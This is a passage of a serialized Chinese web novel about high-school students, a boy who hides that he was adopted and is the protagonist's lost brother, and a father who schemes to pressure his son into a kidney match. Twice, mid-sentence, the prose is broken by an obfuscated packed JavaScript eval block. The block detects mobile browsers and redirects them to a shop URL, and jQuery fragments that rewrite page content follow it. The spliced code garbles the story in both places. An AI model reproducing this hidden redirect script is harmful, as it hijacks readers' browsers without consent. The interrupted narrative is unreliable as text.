张期期以及曾逸飞身旁的朋友一下子愣了愣,他的朋友连忙拿手肘悄悄撞了撞他,小声道:“你干嘛……别对人家女孩子这么不礼貌。” “我还有点事……就先……”走了…… 他话还没说完,张期期伸手拦住了他,急声道:“同学,我不会耽误你太多时间的,几分钟,几分钟就好了……可以吗?” 曾逸飞看了看一旁挤眉弄眼的同学,抿了抿唇后,淡淡道:“行,走吧。” “逸飞,那我们先去教室了。” “好,你们先走吧。” …… 夏风吹拂而过湖面泛起一圈圈的涟漪,一中的“神兽”鸭子在湖面上凫着水,时不时发出“嘎嘎嘎”的声响,不远处校道上人声鼎沸。 曾逸飞神色淡淡,“同学,现在可以说说你找我什么事了吗?” 张期期张了张口,一时间竟不知道如何开口,总不能直接就问,你是不是小时候被拐卖过…… 她顿了片刻,决定委婉一点,“那个……同学啊,昨天晚上我看你去高三年级办公室,但是你好像不是高三的学生吧?” 曾逸飞眼眸一闪,微微笑道,“是,我不是高三的学生,我去高三年级办公室那边,只是因为我爸就是高三重点一班的班主任老师,我过去看看我爸而已。怎么啦?有什么问题吗?” “你爸?”张期期震惊得瞪大双眼,高三重点一班的班主任……那不就是曾培吗?“曾老师是你爸爸?” “对。”曾逸飞点头。 “啊……”张期期食指挠了挠脸侧,支支吾吾道:“你……我看你和曾老师不太像啊,你、你是曾老师亲生的吗?” 虽然知道自己这句话真的很冒犯,但张期期别无选择,只能硬着头皮问了。 果不其然,这话一出,曾逸飞的脸色瞬间黑了下来,他冷冷道:“同学……我们之间没有熟到可以这么说话的地步吧?你是不是太没有礼貌了。” 张期期脸色尴尬,“不好意思啊!” 曾逸飞嗤笑一声,“我当然是我爸亲生的,只不过我比较像我妈而已……”说完,他长腿一迈转身就走。 张期期对着他的背影喊了一声,“对不起啊,同学!” 曾逸飞眼底冰冷,绷着脸往教学楼走去,其实刚才并不是他第一次被别人说和陈恕长得像了,只不过其他人都是在背后窃窃私语、偷偷议论着,并没有直接到他面前问他。 正常人只会觉得他们实在像而已,并不会联想到他们之间会不会有什么关系,那么只有知道陈恕过往遭遇的人才会对他的长相起疑心,毕竟他们实在太像了,连他都无法不承认的地步。 他蓦然想起那一晚偶然听到父母在客厅里悄声说话的那一幕。 “心兰,我新接手的班级里有个学生和我们逸飞长得实在太像了,你说那个学生会不会是我们逸飞的哥哥?”他站在客厅后方的走廊处听见他爸爸这么说着。 “很像吗?” “真的很像!很像!” 听到这话时,他站在阴暗中攥紧了手心的玻璃杯。 客厅沉默了很长一段时间,当时他的心仿佛就在这沉默中上下漂浮着,不上不下,命运的咽喉在这一刻又卡着他。 良久,他听见他养母喃喃道:“像,像又怎么样!我们是从福利院里领养的逸飞,手续程序全都是正规的,有什么问题……他那么小,就流落在福利院,他的亲生父母根本就是失职,这样的父母怎么配当我们逸飞的父母!” “曾培……你在想什么?逸飞是我们把他养到这么大,他就是我们亲生的孩子!我不允许你透露他身世这件事给他知道!” “而且……而且……你还记得吗?逸飞小时候说过妈妈最喜欢哥哥了,肯定是那对父母偏心,遗弃了我们逸飞!” 他听见养母越说越激动的话语,他们从不在他面前说起他的身世,他们以为四岁的小孩子已经慢慢忘记了小时候的事情,他们不知道他其实全部都记得,而他也愿意在他们面前装作不记得过去了…… “好了,心兰。小声点儿,我没有要向逸飞透露他身世的意思。” 好半响,他听到他养父斩钉截铁的声音道:“既然如此,我们就要把这件事按实下去,逸飞就是我们亲生的孩子,他和那位同学只是长得像而已!没有任何关系!我是不会把我们精心爱护的孩子送回到不称职的父母身边的!” 听到这里,隐在昏暗中的曾逸飞悄悄地退回了房间内,养父说的正是他想的,他就是曾培和王心兰的亲生孩子! …… 阳光从高大的树缝间挤进来,斑驳的光影被他踩在脚底下,曾逸飞嘴角挂起一丝丝笑意,再像又怎么样?他就是曾逸飞,不是陈最,陈最早就死在十几年前了…… 94. 第 94 章 - 看着少年越走越远,身影渐渐消失在她的眼前,张期期感到不好意思的同时,心里也松了一口气。她庆幸自己先来找对方了解了一下,没有在陈恕的面前不经过检验就告诉他她的猜测。 过往的遭遇,是陈恕心中过不去的一道伤痛。她必定要小心小心再小心,不要轻易去揭他的伤疤。 将杂乱的心情收拾好,张期期深吸一口气,疾步返回高三教学楼……耽搁了那么长时间,她都可以做好几道题目了。 与此同时,另一边——— 蒋文气喘吁吁地跑回高三年级的教学楼,他蹬蹬蹬跑上四楼,又飞速蹿进了教室里。 回想起在高一教学楼门口以及天鹅湖旁边,张期期和一个长得格外好看的男生站在一起的画面,他顿时脑海中警铃作响,不会吧……不会吧……张期期这家伙的颜控病又犯了吧?她不会要踹了陈恕另外找男朋友吧? 这可不行……他们现在都高三了,绝对不能分手,感情不稳定会影响学习的!一定是陈恕平时对张期期太冷淡了,他可得好好说道说道他,不然女朋友就要跑了!! “陈、陈恕…我、我……”蒋文一手撑在陈恕的课桌桌面上,一手指尖在半空着对着陈恕指了又指,话又说不出来,急得脸色通红。 陈恕抬眸望着站在自己面前一口气咽不下去的蒋文,眉心微微皱起,“你先缓缓,等会儿再开口说话。” “缓缓不了……急、急事!” 许兰亭身后往后一扬,看到蒋文的脸色后立刻站起来拍了拍对方的后背,又抚了抚,帮他顺着气。 一会后,蒋文好多了,他呼出一口气,压低声音道,“陈恕,我刚才看见期期……期期……” 陈恕抬眸盯着他看,眼神犀利,“怎么了?” 蒋文心一横,“期期找其他年级的一个男生要联系方式呢!那个男生我只看见了侧脸……长得很好看,不比陈恕你差!” 不止期期呢,他远远地看见还有其他女生也和那个男生要联系方式呢! “什么!期期准备劈腿!”许兰亭愣了一下,惊声道。 安静的教室里,这一句话犹如巨雷炸响……原本埋头刷题的学生纷纷循声回过头来,露出了暗戳戳八卦又兴奋的眼神。 劈腿?劈什么腿?劈几条腿! 周嘉先一脸无语,他敲了敲桌面,重重地咳了几声,“赶紧把试卷写好,等会儿要交的。” 啊……试卷还没刷完呢!好吧……重点一班的同学面露遗憾地转过头去,一边刷题一遍悄悄地竖起了耳朵偷偷听着。 陈恕抿了抿唇,声音又低又沉,“兰亭,别乱说。” 一旁的林听也瞪了许兰亭一眼,许兰亭心虚地捏着食指和大拇指在嘴巴前做出了拉上拉链的动作。 蒋文悄悄看了看四周,见同学们都转过头去了,他走到陈恕的身边弯下腰在他耳边小声道:“没胡说,我真看见了,期期找别的男生要联系方式。” “不是我说你,陈恕!”蒋文一脸地恨铁不成钢,“你对期期要温柔一点!甜言蜜语懂不懂,女生都喜欢听的。” 陈恕:…… 他侧首眼神微挑地看了一眼蒋文,好像听班长说过,蒋文是个母胎单身…… 蒋文:“……” “不是……你这什么眼神,哎,我就问你,你有没有夸过我们期期!” 陈恕抿唇,好像……他真的没有夸过期期。 “这不就对了吗?”蒋文一手捶了捶掌心,肯定道,“就是因为你太高冷了,我们期期才劈腿的,找别的男生要联系方式的。你得反省反省!” 此时,使眼色使到眼角抽搐的许兰亭:…… “你在说什么!!蒋!文!” 咬牙切齿的声音从他的身后传来,蒋文猛然回头,张期期狰狞的脸出现在他的身后,他嗷叫一声,一蹦三尺高,随后立刻滑跪,“期期!期期!我没说你坏话!我是让陈恕反省反省来着!不信你问陈恕!” 张期期缓缓侧首看向陈恕,陈恕冷不丁道:“你找其他年级的男生什么事?” 她顿时一滞,啊这个…… 见张期期突然卡壳的模样,陈恕抿紧了唇,看来是真的,他真的找其他男生要联系方式了,蒋文没有乱说。 气氛顿时沉滞,许兰亭悄悄起身,将蒋文一把拽走,两人迅速退出诡异的气氛圈,远远地窃窃私语道,“不妙啊!原来是真的!” “我都说是真的了,我看见了,四只眼睛都看见了!”蒋文指着自己戴着眼镜的眼睛认真道。 许兰亭沉重地点头,两人一起望向气氛沉凝的那一边…… …… 她找其他年级的男生有什么事?这个问题,嗯……真不好回答。张期期已经打定主意不在他面前谈起他过去的遭遇了,但…… 她狠狠地瞪了一眼此刻“畏畏缩缩”的蒋文。 陈恕攥紧了手心,微微垂下了双眸,这个问题很难回答吗?若是她单纯有事情找别人,为什么会表现出一副很难回答的样子,只有一种可能,那就是她不想让他知道…… 此时此刻,他心中泛起了无边的苦涩。 “没事,你不想说就算了。”陈恕压抑着内心翻涌的嫉妒和冲动,绷着嘴角力图语气平静道。 他收回视线,攥着黑色水笔在草稿纸上随便写下几个数字和公式,仿佛已经沉浸在刷题中了,但张期期瞄了一眼,他正好写到第七道选择题,这几个数据和公式可和接下来的第八道选择题一点儿都沾不上边啊! 张期期心中微微叹了口气,觉得有些好笑又心疼。 她将陈恕手中的黑色水笔抽出来……嗯?没抽动……她低下头,少年手背上青筋直跳。 张期期微微笑了笑,眼底划过了然,真是个别捏的人,她哼笑一生,手心慢慢贴在他青筋直跳的手臂上,拇指轻轻摩挲了一下他的皮肤,少年攥紧的黑色水笔松开了来。 她用另一手将黑色水笔抽出来,放在桌面上,又看了眼墙壁上挂着的时钟,小声道:“陈恕,你跟我出来一下。” 陈恕抿唇,她还想和他说什么……视线触及她手心,温热的触感裹挟着酸涩冲进了他的心底,惶恐一瞬间席卷心头,他下意识地反手握住少女纤细却带着一丝丝肉感的手腕。 张期期微微用力,陈恕便顺着这道力道站起身跟在她的身后走出了教室,只要她愿意伸手,他就永远不会放手…… * 高三教学楼的走廊上稍显安静,夏风吹拂而过,走廊外遮天蔽日的树冠发出细微的沙沙声。 张期期站定时,刚一回头,便见陈恕的身后,重点一班的教室里,她的同学们齐刷刷地望过来,甚至有的恨不得把脑袋伸出窗户听听他们俩个准备悄咪咪讲什么。 张期期:…… 陈恕顺着她的视线回头:…… 好半响,就在张期期犹豫要不还是走远一点的时候,侯蕊、雷婷一前一后地走到窗户那,砰的一声将前后两个窗户都关掉了,接着刷的一下拉上了窗帘,隐隐约约从教室内传出好一阵满怀遗憾的叹气声。 张期期忍俊不禁,干得好,我的舍友们! 陈恕也忍不住露出头疼的样子,他实在不明白,明明是重点班,别人口中的书呆子班,为什么就是这么……这么的奇葩呢? 被他们这一打岔,陈恕的心情到底不像方才那么压抑,张期期伸手将人扯过来,两人靠着栏杆站着,一同望向走廊外翠绿色的参天大树。 张期期手肘撑在栏杆上,下巴垫在手掌心,侧首看着身旁眉眼精致的少年,“陈恕……” “你要是不想说的话也可以。”陈恕望着湛蓝的天际,他有什么资格去质问她? “真的?”张期期凑近,望着少年紧抿的唇瓣,“真的吗?” 陈恕抿唇,一言不发。 张期期噗嗤一声笑出来,“好啦好啦,陈恕。”她双手摇晃着对方的手臂,真是嘴硬…… 许是她居然笑出来了,陈恕的脸色越渐难看,张期期赶紧道,“我找那个男生其实不是为我,是为你!” 陈恕抬眸,眉心微皱,“嗯?” “你还记得昨天晚上在年级办公室门口撞见的那个男生吗?” 陈恕闻言,他当然记得,只不过当时他担心期期,倒一眼都没有看那个男生,“嗯,然后呢?怎么了?” 张期期便她的猜测告诉了陈恕,“所以……我就是想打探一下,那个男生有没有可能是你的弟弟陈最嘛!真的长得好像好像啊!虽然不能说一模一样,但看起来就像是你弟弟一样。” 陈恕愣了一下,他沉默半响,最终摇了摇头,无奈地笑了,这完全不可能,他弟弟患有超忆症,若是还活着的话,现在应该也16岁了,已经有能力自己找回来了。 要不,就是和曾经的他一样深陷绵延大山中,绝不可能出现在京照市, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728177|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不认他,他肯定还记得关于家的一切。 张期期努了努嘴,“你干嘛摇头?” “期期,你说的男生不大可能是我的弟弟,可能……我这张脸是大众脸。”陈恕微笑着道。 张期期:…… “你对你这张脸是有什么误解吗?你这张脸怎么可能是大众脸!!”她怒道。 陈恕眼底带笑,“这样啊?” 张期期愤愤地点头,片刻后,她眼眸转了转,还是问道:“陈恕……为什么你觉得完全不可能呢?关于你弟弟……” 陈恕微垂下双眸,收敛了笑意,将原因告诉了她,“小最和我不一样,我是后来才大脑病变,患上超忆症的,所以六岁之前的事我其实忘记了很多,是靠着警方才找了回来。” “小最要是活着或者有能力回来的话,他应该会记得比我更清楚。” 哦……张期期沮丧地点点头,也是呢……而且那个男生是新班主任曾培的亲生儿子,那就肯定不是陈恕的弟弟了…… “好吧。” 回到教室,许兰亭目光灼热地看着张期期和陈恕,“你们俩和好了吗?” 张期期:…… 陈恕:…… 张期期狠狠敲了许兰亭脑袋一下,“什么和好!我们俩就没吵架!” 许兰亭摸着头,“没吵架就没吵架嘛,干嘛打我!” 林听偷偷笑了笑,没吵架啊,那就好…… * 早晨,上午七点多,骄阳似火,金色光芒烘烤着大地,热气蒸腾而上,京照市今年的夏天仿佛来得格外的早。 操场上散落着较之往日格外多的垃圾,张期期顶着炙热的太阳有气无力地将垃圾扫进簸箕里,“怎么回事啊?今天垃圾有点多啊!”还都是粉色的、透明的包装纸…… 一旁的林听递了张纸巾给张期期,又给自己擦了擦额头上细密的汗珠后,才笑着道:“因为昨天是三月七号啊。” 张期期不解抬眸,“三月七号?三月七号是什么节日吗?” “女生节!三月八号妇女节,三月七号女生节!所以……你看地上这些包装纸应该就是男生送女生花朵上的包装纸吧。” 张期期恍然大悟,“我给忘记了。”随后她愤愤道,“高三狗不配任何节日!” 正说着,陈恕和周嘉先已经将操场另一头的垃圾清理完了,两人拖着一个大大的垃圾袋走过来。 陈恕:“那边清理完了,我们过来帮忙。” 张期期、林听闻言,笑了起来,“谢谢啦……” 几人迅速将操场的垃圾清完,清理完后等了片刻,还是不见许兰亭过来,张期期皱起眉头,怒道:“这个许兰亭!肯定又是偷偷跑去打篮球了。” 她气呼呼地哼了一声,日头太晒,晒得她心浮气躁的,许兰亭这家伙这一周以来,每次打扫都是呈现摸鱼的状态,今天最后一天了,还不知收敛一下。 她攥着扫把,气势汹汹地穿过跑道,绕开墨绿色的网布,跑到篮球场上。陈恕、周嘉先、林听都跟在她的身后。 果不其然,扫把和簸箕丢在一旁,许兰亭正抬手扔球,球在篮筐上绕了一圈,进了…… “耶!”许兰亭小声激动道。 张期期抹了一把通红的脸,怒道,“许兰亭!你又偷偷打球!那么喜欢打球,你干脆一辈子睡在篮球场上好了!” 她大声地哼了一声,脚用力地踩了几下地板,恨恨地转身就走。 许兰亭一抖,连忙抱起球,跑过去陪笑着脸,“对不起嘛,期期,我保证没有下次了。” “都已经是罚扫操场最后一天了,当然没有下次了!许兰亭,你居然和我玩文字游戏!” “对不起嘛,我好久没打球了,手痒了,平时这个点都在教室学习,难得这几天可以来操场嘛,我就心痒痒的……忍不住了……期期,别生气了。” “哈!那么喜欢打球,你去打啊,赶紧回去睡在你的篮球场上吧。”张期期甩掉许兰亭的手,又道:“那么大的操场,我们几个又热又累,你倒好……哼!” 许兰亭伏低做小,“我给大家买水,请大家喝水!好不好……” 两人身后,周嘉先、陈恕分别提着一袋垃圾,林听拿着扫把,三人看了看对方,都笑了起来,这两人吵吵闹闹的,他们都习惯了,一会儿就好了,他们完全不担心…… 炙阳明亮,树影婆娑,盛大的夏日就要来临…… 95. 第 95 章 - 曾逸飞没想到才见到陈恕没几天后,他居然又看了陈岩一家三口。 按道理来说,京照市作为国内一线城市,城市面积大,人流量大,不是提前约定过的话,有些人在一座城市可能一辈子都碰不上,而他偏偏运气奇差无比,不想看见的人一个个蹦跶到他的眼皮底子下。 医院。 曾逸飞带着医用口罩,双手抱胸坐在不锈钢质的长椅上,他手握成拳抵在唇边,强忍住喉咙里泛起来的痒意。 一连咳嗽了好几天,连带着感觉喉咙间都泛着血腥味,养父母本来要亲自带着他上医院看病的,被他强行劝退了,他都上高一了,又不是小孩子,哪里需要他们一起请假陪他看医生啊! 此处是安静等候叫号的区域,他等了十几分钟后就叫到他,“请125号曾逸飞到一号诊室……” 从就诊室出来后,他伸手拧了拧眉心,看着开出来的单子做了好几项检查,等检查结果出来后,他又拿去给医生看,最后医生告诉他,支气管肺炎,要住院! 傍晚,晚霞满天。 曾逸飞躺在病床上,养父母没课之后,从家里带了些他的换洗衣服和日用品来到了医院。 王心兰坐在床边的凳子上,面带愁容,“唉……当时就不该拖的,一咳嗽马上上医院,这拖着拖着都拖成肺炎了。” 曾培沉着脸,也不太开心,带高三生实在太忙了,他都没注意到逸飞咳嗽越来越严重,是他作为父亲失职了。 曾逸飞吃完最后一口粥,笑着道:“爸妈,不严重的,就住院几天,很快就好了,都是小毛病而已。” 见儿子准备收拾餐盒,王心兰立刻站起来,“你别动,妈妈来收拾就行了。” 曾培蹙眉,“都住院了,怎么叫小毛病?” 曾逸飞笑着安抚和宽慰父母,好说歹说才打消了他们想要留下来给他守夜的念头。养父母回去之后,他想了想从床上起身,准备在医院的走廊上转一转,躺太久骨头都酸了。 走廊上白织灯冰冷明亮,消毒水的味道如影随形,护士站的值班护士或步步履匆匆,或在翻阅着病人的信息记录本。 曾逸飞伸展胳膊走了几圈,想回程走回病房的时候,突然前方的病房门口走出来一名中年女人,对方捂着脸,靠着墙无力地蹲在了地上开始压抑着嗓音哭着。 “怎么办?怎么办?我们俩的配型都不成功……家宝可怎么办啊?我就只有家宝一个孩子,他就是我的命啊!” 家宝…… 曾逸飞突然脚步一滞,这个名字,他蓦然想起来陈岩那个又肥又胖的儿子就叫这个名字。 与此同时,他也看见了蹑手蹑脚从病房里走出来的陈岩,与上一次见他相比,眼前的男人显得极为疲惫。 他戴着口罩就站在不远处,回想起刚刚瞥了一眼的病房,从刚刚打开的门缝里他看见了躺在病床上面颊消瘦的陈家宝。 配型……曾逸飞脑海里顿时警铃大作。 “我们俩配型不成功的话,让陈恕试试,他和家宝毕竟是同父异母的亲兄弟……”陈岩拧着眉心一脸的愁闷。 正在哭泣的女人突然抬起头来,满脸是狼狈的泪水,然而她眼中却闪烁着希翼,激动得站起来攥住陈岩的胳膊,“对对对!我怎么忘记了呢?还有陈恕啊!他和家宝有血缘关系,有一定概率的配型成功的!” 陈岩沉默着点点头…… 见他沉默,中年女人突然脸色扭曲起来,有点癫狂道,“你不会不舍得吧?” 陈岩抓了抓头发,“你说的是什么话,配型成功的话,只是给我们家宝一个肾而已的,我们家宝能活下来,他也不会死。” 厚颜无耻!!! 不远处,戴着口罩的曾逸飞咬牙切齿,眼里闪过浓浓的厌恶和憎恨,一口恶气堵在他的心口,亲兄弟……简直讽刺,陈家宝怎么配当他哥哥的弟弟。 陈岩难道对他自己的所做作为没点数吗?居然有这个脸皮开口想让他哥哥配型!少年指尖狠狠地掐进手心里。 那一边,谈话还在继续着—— 中年女人闻言,松了口气,“陈恕……他会愿意配型吗?他要是不愿意可怎么办?” “不愿意也得愿意!他要是不愿意,我们就闹到他学校去,让他的同学知道他就是个见死不救的人,还是对自己的弟弟见死不救!”陈岩沉声道,“我看他还有没有脸呆在学校!” “对对对!我们去学校找他……我们……” 她的话还未说完,病房内传来陈家宝的大哭声,中年女人和陈岩脸色一变,立刻推开门冲进病房。 “妈妈……我好难受啊……” “我是不是要死了……” …… 病房门被关上,走廊上再次安静下来,窗外的月色攀爬而上,挂在辽阔的天际上,沉重的浓云时聚时散。 曾逸飞压抑着低低咳嗽了几声,他的手臂搭在窗沿上,夜风微凉吹拂过他的脸庞,他抿着唇一脸沉思…… 陈岩夫妻想去学校闹事……要是,事情闹大了的话,会不会牵扯出他来?毕竟他和陈恕的长相摆在那里,陈岩一定会怀疑他就是陈最的。 再者,要是陈恕配型不成功……陈岩一定会想让他也去配型!这样一来,他的养父母一定会卷入这些事中,而他“忘记小时候的事”这件事一定会被翻出来,陈岩是知道他是超忆症的,他辛苦维持的假象会在养父母面前破裂,他辛苦保护的新家庭肯定会起波澜的。 啧……曾逸飞揪了揪头发,神情烦躁,他要怎么办? 他心中憋闷不已,刚想抬手将口罩扯下来,透透气,但指尖刚刚触碰在口罩上时,他瞬间一滞,不行,万一被陈岩一家看见了长相,那才是真的甩不到他们了…… 此时此刻,他心底突然冒出来一个念头,要是……陈恕不在京照一中呢?无论陈岩一家如何纠缠陈恕,只要陈恕不在京照一中,那么就事情的风波就牵扯不到他的身上了吧? * 京照一中。 高三教学楼走廊上空荡又安静,廊上吹拂的风带着微微的热意,周嘉先倚靠在栏杆上,侧身看着从年级办公室走出来的陈恕。 陈恕抬眸看着周嘉先,嘴唇微动,唤了声:“先哥……”他顿了顿,随后大步走到周嘉先的身边站着,望向走廊外湛蓝的天际。 “先哥,你有话和我说。”陈恕肯定道,不然先他一步走出年级办公室的他肯定已经回了教室。 这一次,班主任曾培叫了他和先哥过来,说的正是他们之前竞赛取得不错的成绩后保送的学校都给出了回应。 他和先哥都成功保送了,先哥保送的是华大,而他保送的德国慕尼黑大学。 周嘉先闻言,神情严肃,沉声道:“陈恕……你真的想好了吗?不去德国了?” 陈恕笑了笑,没有一点犹豫,直接道:“不去了,我们大家不是约好了吗?一起上大学。华大,我的新目标。” 华大,国内顶尖大学,以陈恕的成绩上华大根本不是问题,张期期、林听也没有问题。 周嘉先想起那一日黄昏,他们一行人在晚霞下对着一片荒地许下的约定时,嘴角不由地挂起一丝微笑,“嗯,我不担心你的新目标,不过……” 陈恕抬眸望过来,周嘉先继续道:“……华大的话,兰亭估计够呛啊!” 陈恕忍不住笑了,“没关系,我们可以给他集训。” “啊……有道理。”周嘉先道。 他拍了拍陈恕的肩膀,“走吧,回教室了。” “嗯。” 空荡的走廊上回响着他们边走边聊的谈话声…… “对了,还没恭喜先哥你呢,已经被提前录取了,那你还参加高考吗?” “唔……参加吧。” 回到教室,得知这个消息的许兰亭哇哇大叫,他哐哐拍着周嘉先的桌面,“先哥,你这也太爽啦吧!你已经提前解放了!” 周嘉先微笑地看着许兰亭发疯,决定等一会儿再告诉他,他们准备接下来给他集训的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“先哥……” * 最近,张期期每到晚自修结束后都喜欢和陈恕相伴走到学校的操场上散散步,吹吹风…… 操场大灯洒下浑浊的灯光,跑道上三三两两的学生相伴着跑步,有的坐在操场中间的草场上聊着天,嬉笑声在夏风中徜徉着…… 张期期微微弯下腰,手肘撑在栏杆上,下巴垫在手掌心内,风吹过,发丝飞扬,她神色安逸地望着操场,只有这一刻她才能缓解时刻紧绷着的疲惫。 她轻轻呼出一口气,侧首望向一旁的陈恕,少年的面容在昏暗的灯光下透露出奇异的破碎感。 “陈恕……” “嗯?怎么了?”少年微微侧头,目光落在她的身上,夜色弥漫,他的视线专注又让她觉得异常沉重。 踌躇片刻,张期期小声道:“陈恕……不去德国真的没有关系吗?” ……虽然她一直想要大家都在一起,虽然她知道他真的不去德国时,心底漫上来的是盛大的窃喜,然而夜深人静的时候,她也会觉得惶恐和忐忑。 “我们不是约定好大家要在一起吗?一想到能和你们像现在一样一直在一起,我很高兴。”陈恕收回视线望着漆黑的天幕道。 闻言,张期期眼神亮起,她笑着附和道:“我也觉得很高兴,我们的未来都有彼此的身影。” “既然大家都高兴,那么这就是一个令人愉快的决定,所以……期期,不去德国也没有关系,我想和大家在一起……”……想和你在一起。陈恕再次转过头来看着她,眼神专注认真。 “好,那我们拉钩。”张期期站直起身,伸出尾指,微微弯曲。 “好。拉钩。” 暗沉的天幕下,浓云时卷时舒,微风吹拂起衣摆,少年少女指尖相互勾着,那么约定好了哦…… …… 96. 第 96 章 - 许是陈家宝的病情越发严重,身边离不开人,曾逸飞在住院部住了三天,都没见陈岩夫妻离开病房半步,这让他暂时松了一口气。不过……只要陈恕还在学校,他就感觉头顶依旧悬着达摩克利斯之剑。 一中教师宿舍套房。 晚餐时,王心兰煮了丰富的饭菜,时不时地夹菜给曾逸飞,“逸飞快吃吧,这个鸡是人家自己养的,是土家鸡,还有这个菜……” 曾逸飞低头看着饭碗里堆得高高的菜时,无奈地拒绝道:“妈,妈!够了够了,我都吃不完了。” “你住院这几天都没能怎么吃,要好好补一补。”王心兰坚持道,反手又夹了块肉放在曾逸飞的碗里。 曾逸飞头疼不已,养母从小对他就看得紧,他但凡有个头疼脑热的,她就睡不好觉,吃不好饭。 “好好好,我吃我吃。” 曾逸飞将饭碗里的菜吃完后,才意识到今天晚上他的养父格外的安静,他抬眸看向他的养父,只见对方愁眉不展,心事重重的模样。 “爸,你怎么了?” “爸!” 曾培闻声顿了顿,筷子都差点掉下来,他连忙握紧筷子,长长地叹了口气,“没什么,就是班里学生的事情。” 今天他才将德国慕尼黑大学通过了保送申请这件事告知了陈恕,然而下午的时候他就听到消息,说陈恕要继续参加高考,不去德国了,他想考国内的华大。 关于陈恕德国保送的专业,他也有了解,确实去德国慕尼黑是个不错的选择,明明已经录取了,怎么就不去了呢? 想到这里,他不免有些心焦,下午放学的时候他也和陈恕聊了聊,但对方依旧坚持继续高考,就此放弃德国大学的保送。 这是学生人生道路上的重要选择,他作为成年人,更是对此深有体会和感触,因此,对这件事他更是难以放下。 陈恕……陈恕很有可能是他儿子逸飞的亲哥哥,而他的父母就是遗弃了逸飞的人,说实在的,他真的不想见那对父母,但如果陈恕真的一直坚持放弃保送的话,他想无论他心里再怎么讨厌那对父母,他也必须找对方谈一谈。 曾逸飞闻言更好奇了,他眼眸微转,试探道:“爸,你班里的学生还能有什么事啊?那可是重点班的学生,应该都蛮优秀的啊!” 曾培哽了一下,是蛮优秀的,就是优秀过头了,好好的保送已经成功了,非要继续参加高考…… 他将筷子放下,神情无奈,“陈恕是优秀没错,就是太有主意了,他已经被德国慕尼黑大学录取了,但不知道怎的,居然不想去了,要继续参加高考。” ……虽然说……陈恕的成绩参加高考也能考得不错,但到底还说不定,每年考前失蹄的学生一抓一大把,而慕尼黑大学4月中旬就得赴校,要是万一呢……万一高考发挥失常了,又错过了慕尼黑大学入学时间,到头来两头都落空可怎么办? 陈恕!一听到这个名字,曾逸飞下意识身体一僵,片刻后,他反应过来养父的话后心中突然漫上一阵喜意。 陈恕!陈恕已经被国外的大学提前录取了,那么……如果他要是去国外上大学的话,陈岩夫妻就不会来到京照一中闹事找陈恕,他们不来京照一中,自然也就不可能发现他就是陈最!那他的平静生活就不会被打破。 意识到这点的曾逸飞内心紧张不已,他努力去平缓自己的心情,装作不怎么在意,又带点好奇的样子,仿佛随口问问,“啊?那不是很不错的学校吗?他怎么不去啊?” 曾培:“是很不错,但是就是不知道他为什么不去。算了,不说他了,吃饭吧。”他再次拿起筷子,夹菜吃饭。 曾逸飞微微垂下眼眸,只要他哥哥陈恕离开京照一中,一切就都好了,对吧? * 还未等曾逸飞想出办法,让陈恕离开京照一中,前往德国前,陈岩夫妻就出现了。 那日正是周一,学生返校的日子,一中校门口人流密集,车流熙熙攘攘,热闹喧嚣。家长不厌其烦地嘱咐孩子在学校要努力学习,孩子随口敷衍着,转身立刻和朋友手挽手嘻嘻哈哈。 一脸疲倦,眼神却癫狂的陈岩夫妻就出现了,两人径直想往学校里冲进去,然而却被校门口的保安拦住了。 站在门口维持学生纪律的学生会成员眼神迷惑地看着陈岩夫妻二人,学校平日里禁止家长进入这件事不是常识吗? “干什么拦我们?我儿子就在这里读书,我们进去找一下他!”陈岩强忍住怒火道。 保安:“家长不允许进学校,你儿子哪个年级哪个班的叫什么名字,我打个电话给他们班主任,让他出来就是。” 哪个年级哪个班的?陈岩夫妻四目相对,皆是神色一僵。年级他们倒是知道,但是哪个班的,他们……他们怎么可能知道! 见这对夫妻神色僵硬,保安脸色都变得微妙起来,能上京照一中的孩子都是顶顶聪明的孩子,这样的孩子家里的长辈对他们的学习都是非常上心的,怎么可能会有家长不知道自己家孩子在哪个年级哪个班级。 有问题!肯定有问题!保安脸色顿时就难看了,一中的学生简直就是家长心中的宝,个个金贵,他可不敢大意。 “怎么?连孩子在哪个年级哪个班级都不知道,就说孩子在这里上学?”保安怒道。 陈岩连忙道,“不是,我们知道!知道!我儿子叫陈恕,今年高三了。” 保安皱起眉头,“你不知道哪个班级的,我怎么给他班主任打电话啊,高三文科理科加起来可是有二十几个班,我不可能给你打二十几个电话一个一个班级问。” “不是急事的话,你等孩子放学吧,现在我忙着呢,学生上学,我得守着岗位。” “是急事是急事啊!”陈岩的妻子突然崩溃大声喊道,“救命的大事,救命的急事啊!” 恰在此时,洪志骑着单车出现在校门口,他一眼就认出了陈岩夫妻二人,他妈妈陈晓丽也是上瑶村陈家人,和陈岩有点亲戚关系,再一联想到他妈妈说的陈家宝生病住院和配型的事情,他瞬间明白过来了…… 陈岩是想让陈恕给陈家宝配型! 校运会时陈恕他们弄坏他的自行车、还有论坛害他被禁言的事情,他至今想起来都一肚子火!于是,他立刻脱口而出喊道,“陈叔叔,我知道,陈恕在高三重点一班。” 陈岩闻声,下意识地看过去,说话的少年看起来有点眼熟,但他一时想不起来到底是谁,不过,他也没心思去想了,脑海里浮现的是儿子惨白着一张脸,脸颊凹陷地躺在病床上的模样。 他焦急地催促道:“你快打电话给高三重点一班的班主任,让他叫陈恕出来。” 保安一脸怀狐疑,但到底还是回到保安亭,从抽屉里翻开本子,找到曾老师的电话号码,拨打了过去。 …… 另一边,曾培的手机响起,他看了一眼,发现号码的前缀是学校固定电话的标志,便起身从办公室走出去站在走廊接通了电话。 